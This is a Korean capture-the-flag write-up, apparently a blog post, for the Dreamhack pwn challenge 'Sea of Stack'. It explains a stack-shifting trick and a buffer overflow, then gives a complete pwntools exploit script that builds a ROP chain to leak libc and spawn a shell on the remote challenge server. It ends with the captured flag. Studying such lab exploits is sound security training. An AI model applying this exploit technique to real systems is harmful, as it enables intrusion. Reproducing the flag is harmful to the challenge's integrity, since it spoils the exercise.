콘텐츠로 건너뛰기

Sea of Stack

Description

플래그는 바다에 버려요. 깊은 데 빠뜨려서, 아무도 못 찾게 해요.

checksec

seo@seo:~/Documents/dreamhack/Sea_of_Stack/deploy$ checksec ./prob
[*] '/home/seo/Documents/dreamhack/Sea_of_Stack/deploy/prob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-30h] BYREF
  _QWORD *v5; // [rsp+8h] [rbp-28h] BYREF
  char s1[28]; // [rsp+10h] [rbp-20h] BYREF
  int number; // [rsp+2Ch] [rbp-4h]

  proc_init(argc, argv, envp);
  printf("If you really want to give me a present, bring me that kind detective's heart.\n> ");
  read_input(s1, 16LL);
  if ( !strcmp(s1, "Decision2Solve") && !gotPresent )
  {
    read_input(&v5, 8LL);
    read_input(&v4, 6LL);
    *v5 = v4;
    gotPresent = 1LL;
  }
  print_menu();
  number = read_number();
  if ( number == 1 )
  {
    safe();
  }
  else if ( number == 2 )
  {
    unsafe();
  }
  return 0;
}

처음에 read_input 함수를 통해 16바이트만큼 받는데,
Decision2Solve 키워드를 입력했을 경우, 원하는 주소에 값을 6바이트쓸 수 있다.
FULL RELRO 보호기법이 걸려있기 때문에 got 주소를 덮어쓸 수는 없고 data나 ibss 세그먼트에 있는 주소만 쓰기가 가능하다.

다음으로, read_number 함수를 통해 번호를 입력받는데,
number가 1일 경우 safe() 함수 호출,
number가 2일 경우 unsafe() 함수를 호출한다.

이러한 함수 호출은 .data 세그먼트에 있는 주소를 참조하여 호출한다.
safe -> safe_func
unsafe -> unsafe_func

safe_func

void *safe_func()
{
  char s[48]; // [rsp+0h] [rbp-30h] BYREF

  read_input(s, 41LL);
  return memset(s, 0, 0x28uLL);
}

할당된 48바이트 크기인 s 지역변수에 41바이트만큼 입력받을 수 있고,
memset에 의해 0x28만큼 0으로 값을 초기화시킨다.
딱히 취약점이 발생하진 않는 함수이다.

unsafe_func

__int64 unsafe_func()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  return read_input(v1, 0x10000LL);
}

할당된 32바이트 크기인 v1 지역변수에 0x10000바이트만큼 입력받을 수 있다.
할당된 크기보다 훨씬 더 많이 입력받을 수 있으므로 여기서 버퍼오버플로우가 발생한다.

Solution

unsafe_func 함수를 통해 read_input(v1, 0x10000LL)으로 버퍼오버플로우를 발생시키려는데
쓰려는 주소는 0x7ffe4171d0d0이다.
따라서 0x10000 크기만큼 쓰게 된다면, 0x7ffe4172d0cf 주소까지는 쓸 수 있어야 한다.

하지만, 쓸 수 있는 [stack] 최대 범위는 0x7ffe4171f000이다.

read_input(v1, 0x10000LL)에서 v1을 더 낮은 주소로, 최소 기존 v1에서 -0xe0cf만큼 이동시켜주어야 한다.

실제로 확인해보면,
hex(0x10000 – 0xe0cf) = 0x1f31

딱 v1[0x1f30]까지만 메모리를 쓸 수 있고, 스택의 범위를 벗어나자 크래시가 발생하는 것을 알 수 있다.

방법은,
초기에 Decision2Solve 를 입력하고, safe_func가 적혀있는 safe 주소(0x404010)에 main 함수를 덮어써서
main을 여러번 호출시키면 더 낮은 주소로 스택을 가리키게 할 수 있다.

main을 한번 더 호출시켜보면,

hex(0x7ffc17f8b000 – (0x7ffc17f88eb0 + 0x10000 – 1)) = -0xdeaf

이전에 -0xe0cf만큼 이동시켜주어야 되었던게 -0xdeaf로 줄었다.

즉 스택이 main을 한번 호출시킬때마다 더 낮은 주소를 가리키게 만들 수 있다는 것.

대략 main 함수를 1100번 이상 호출시켜야 0x10000만큼 값을 쓸 수 있었다.

그렇게 스택에 버퍼오버플로우를 stack 범위에 문제없이 쓸 수 있게 되면,
rop을 통해 libc_base를 노출시키고, 쉘을 획득하면 된다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#p = process("./prob")
p = remote("host3.dreamhack.games", 17258)
e = ELF('./prob', checksec=False)
libc = ELF('./libc.so.6', checksec=False)  #server
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)  #local

payload = b"Decision2Solve\x00\x00"
p.sendafter("> ", payload)

p.send(p64(e.symbols['safe'])) #where
p.send(p64(0x401446)[:6])   #what
p.sendlineafter("> ", "1")

for i in range(1100):
    payload = b"A"*16
    p.sendafter("> ", payload)
    p.sendlineafter("> ", "1")
    print(i, end=', ')

payload = b"A"*16
p.sendafter("> ", payload)
p.sendlineafter("> ", "2")

pop_rdi_nop_pop_rbp_ret = 0x40129b
payload = b"A"*0x20
payload += b"B"*8
payload += p64(pop_rdi_nop_pop_rbp_ret)
payload += p64(e.got['puts'])   #set rdi
payload += p64(0)   #set rbp
payload += p64(e.symbols['puts'])   #call puts
payload += p64(e.symbols['unsafe_func'])
payload += b"C" * int((0x10000-len(payload)))
p.sendline(payload)

puts = u64(p.recv(6).ljust(8, b"\x00"))
print(f"puts: {hex(puts)}")
libc_base = puts - libc.symbols['puts']
print(f"libc_base: {hex(libc_base)}")

payload = b"A"*0x20
payload += b"B"*7
payload += p64(pop_rdi_nop_pop_rbp_ret)
#payload += p64(libc_base + 0x1D8678)   #set rdi, /bin/sh   local
payload += p64(libc_base + 0x1D8698)    #set rdi, /bin/sh   server
payload += p64(0)   #set rbp
#payload += p64(libc_base + 0x50D8B)   #call system (internal),  local
payload += p64(libc_base + 0x50D7B)   #call system (internal),   server
payload += b"C" * int((0x10000-len(payload)))

p.sendline(payload)

p.interactive()

Result

로컬에서는 빠르게 쉘을 딸 수 있지만,
서버 상에 main을 여러번 호출시키기 위 16바이트만큼 계속 데이터를 보내야하는데, 속도가 느리다.
쉘 따기까지 약 2-3분 정도 걸린다.

$ cat /flag
DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}

FLAG

DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}

태그:

답글 남기기